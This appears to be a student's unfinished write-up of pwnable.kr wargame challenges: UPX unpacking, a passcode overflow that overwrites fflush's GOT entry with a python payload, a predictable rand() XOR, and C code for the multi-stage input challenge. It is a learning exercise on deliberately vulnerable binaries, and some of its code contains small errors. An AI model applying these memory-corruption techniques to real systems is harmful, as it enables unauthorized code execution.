Pwnable Writeups

Table of Contents

1. Flag

First I ran ’chmod +x flag’ to be able to execut the file.

After I executed the file I was prompted with the message.

I will malloc() and strcpy the flag there. take it.

So, I then decided to run gdb and dissases main on the executable.

However, the symbol table has been completley striped!

After some googling I found out that this means that the symbols are unretreavable so I went back to the drawing board and the message for the level stood out.

“Papa brought me a packed present!”

What does packed indicate?

After googling I found out that packed is another word for compressed.

So I printed the strings of the file and greped for the word ’packed’

which revealed the file was packed with UDX.

I downloaded UDX and unpacked the file which allowed me to disasem main and follow the malloc pointer to the flag,

“UPX…? sounds like a delivery service :)”

2. Passcode

First i checked the prems of the files and saw that I could read the source code of passcode.

I first ran the code and was met with a SEGV fault…

So, I looked through the code and noticed that the program was trying to scanf(“%d”, <variable>) which is causign the segv.

The user is basically trying to write to the value of the variable rather than its adddress.

And since the value of the variable is not a thing yet it results in a segv.

WE CAN USE THIS TO OUR ADVANTAGE

if we find out a way to overwrite the contents of passcode then we can write whatever we want to an address.

So, i looked at the welcome function for ways to overload the buffer.

I found that the name is being stored in a char[100] so I decided to overload the welcome with characters and track the stack as we go over into the login() function.

(gdb) disassemble login

0x0804856f <+11>:    mov    %eax,(%esp)
0x08048572 <+14>:    call   0x8048420 <printf@plt>
0x08048577 <+19>:    mov    $0x8048783,%eax
*0x0804857c <+24>:    mov    -0x10(%ebp),%edx*
0x0804857f <+27>:    mov    %edx,0x4(%esp)
0x08048583 <+31>:    mov    %eax,(%esp)

(gdb) b *0x0804857c
Breakpoint 1 at 0x804857c
(gdb) r
Starting program: /home/passcode/passcode
Toddler's Secure Login System 1.0 beta.
enter you name : test
Welcome test!

Breakpoint 1, 0x0804857c in login ()
(gdb) x/xw $ebp-0x10

*0xffc3a058:     0xf765dcbb*

I found that the address of passcode1 is 0xffc3a058 which was pointing at 0xf765dcbb.

With this info I can then follow the stack when I overflow it to see if these addresses are being overwritten…AND THEY ARE!

#+name stack trace

(gdb) x/20xw $esp
0xffeba290:     0x61616173      0x61616174      0x61616175      0x61616176
0xffeba2a0:     0x61616177      0x61616178      *0x61616179*      0xa5aa0c00
0xffeba2b0:     0xf7723000      0xf7723000      0xffeba2d8      0x08048684
0xffeba2c0:     0x080487f0      0x08048250      0x080486a9      0x00000000
0xffeba2d0:     0xf7723000      0xf7723000      0x00000000      0xf7588647

As we can see the stack trace shows that the address 0xffc3a058 or passcode1 variable.

To find the offsset we trace our input which was yaaa and find that it was at the 96th position of the character.

Now we have the ability to overwrite any memory location we want.

We can overwrite some GOT entries!

if we use objdump to find the address of the GOT entries:

passcode@pwnable:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

Lets use flush since scanf and printf contain newline and null byte.

Now if we gather the address of the assembly instructions for system(“/bin/cat flag”)

  0x080485ce <+106>:   cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   movl   $0x80487a5,(%esp)
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   *0x080485e3 <+127>:   movl   $0x80487af,(%esp)*
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret

I had no clue how to identify which one was instruction so I had to use google to help (:

and it was 0x080485e3

So now we can enter all we found together

python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode

Passcode: Sorry mom.. I got confused about scanf usage :(

3. Random

First looked at the c code

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

I ran the same program and printed out rand() and it printed out the same address everytime!

0x6b8b4567

looking at the c code it is xor’ing the key with random…

so if we can enter the right binary as the key to xor with random to get 0xdeadbeef it will pass!

0x6b8b4567 = 0110 1011 1000 1011 0100 0101 0110 0111

key = 1011 0101 0010 0110 1111 1011 1000 1000

0xdeadbeef = 1101 1110 1010 1101 1011 1110 1110 1111

converted to binary: 3039230856

4. Input

first I looked at the code of the file input.c

#+name input.c

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");

    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

    // file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");
    return 0;
}

I noticed that its testing our knowledge of how a computer takes input…

So for the first challenge the following block depicts what we have to enter to continue

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");

So, argc must be 100 characters which means we have to pass 100 arguments in total to begin with. // the chi of the program

Next it compares the index of A into the argument commads to the binary ’\x00’.

If we convert the char ’A’ to ASCII we get 65 which means that the 65th argument must be ’\x00’ and the same reasoning goes for the 3rd conditional.

Lets use c to write the code to execute..



#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main(){

  char *filler[101];

  for(int i =0; i < 101; i++){
    filler[i] = "#";
  }

  filler['A'] = "\x00";
  filler['B'] = "\x20\x0a\x0d";
  filler[100] = NULL;

  execve("/home/input2/input", filler, NULL);
}

Now for phase 2 looking at the code…

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

We can see that the code creates a buffer of 4 bits and firstly calls the read command which takes a file descriptor, buffer, and sizet(which is the amount of bits to read).

the first is reading from file descriptor 0 which is stdin and the second is reading from fd 2 which is stderror… weird.

If we find a way to write the data “\x00\x0a\x02\xff” to stderror then we can pass this phase!

maybe we can use the opposite of the read function, write().

write(int fd, const void buf[.count], size_t count)

Lets expand on our c code.


#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main(){

  char *filler[101];

  for(int i =0; i < 101; i++){
    filler[i] = "#";
  }

  filler['A'] = "\x00";
  filler['B'] = "\x20\x0a\x0d";
  filler[100] = NULL;

  execve("/home/input2/input", filler, NULL);

  char buf[4] = "\x00\x0a\x02\xff";
  write(2, buf, 4);
}


But this did not work ):

The following code after the execve will not execute because after a execve command replaces the current process with a new process image.

So we must use fork and pipes to start two processes at the same time!

First we need to have two processes, the child and parent.

The parent process should be the once execing the input command.

So we must have the child write its values to the parent!

pid_t child;

int stdin_pipe[2];
int stderr_pipe[2];

A pipe is a collection of two fds the first is the read and the second is the write.

Once we call pipe to instantiate the two pipes we then have to fork off the processes.

if((child = fork()) < 0){
  EXIT_FAILURE("fork failed");
}

Next lets set up the pipes…

For our program to work we need the child process to write to the pipes so that the parent process can access the data and redirect it to the programs stdin and stderr.

if(child){ // parent

  //we must close the write end of the pipe
  close(stdin_pipe[1]);
  close(stderr_pipe[1]);

  //redirect the read  to stdin and stderror of the program
  dup2(stdin_pipe[0], 0);
  dup2(stderr_pipe[0], 2);

  // and then close them to keep things neet
  close(stdin_pipe[0]);
  close(stderr_pipe[0]);

  //and exec our program;
  execve("/home/input2/input", args, NULL);

}else{ // the child

  //close the read ends of the pipes since we wont be using them
  close(stdin_pipe[0]);
  close(stderr_pipe[0]);


  //write the correct data to stdin and stderr
  write(pipe_stdin[1], "\x00\x0a\x00\xff", 4);
  write(pipe_stderr[1], "\x00\x0a\x02\xff", 4);
  return 0;

 }

Okay for the next stage we are prompeted with the following

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

So it looks like it is comparing the string “cafebabe” with the value that is returned from the funciton call getenv(“\xde\xad\xbe\xef”).

Looking at the man page the getenv() function searches the environment list to find the environment varaible name, and returns a pointer to the corresponding value string.

So it looks like we must have our execve pass a preset environment name with the name of the enviornment “deadbeef” and the value string as “cafebave”

first lets instantiate our enviornemnt

char *envp[] ={ "\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};

and then add it to the execve..

 execve("/home/input2/input", args, envp);

Stage 3 cleared!

For the next stage we are prompted with the following code

FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

It looks like the program is trying to open a file name “\x0a” to read 4 bytes into a buf and then comparing if the 4 bytes are all 0’s.

All we have to do is open the same file for reading and then write the contents that it checks.

FILE* fp = fopen("\x0a" "w");
char *buff[4] = "\x00\x00\x00\x00";
fwrite(buff, 4, 1, fp);
fclose(fp);

Stage 4 is cleared!

in progresss…

Date: 2024-10-08 Tue 00:00

Author: Anthony Rossi

Created: 2024-10-23 Wed 21:48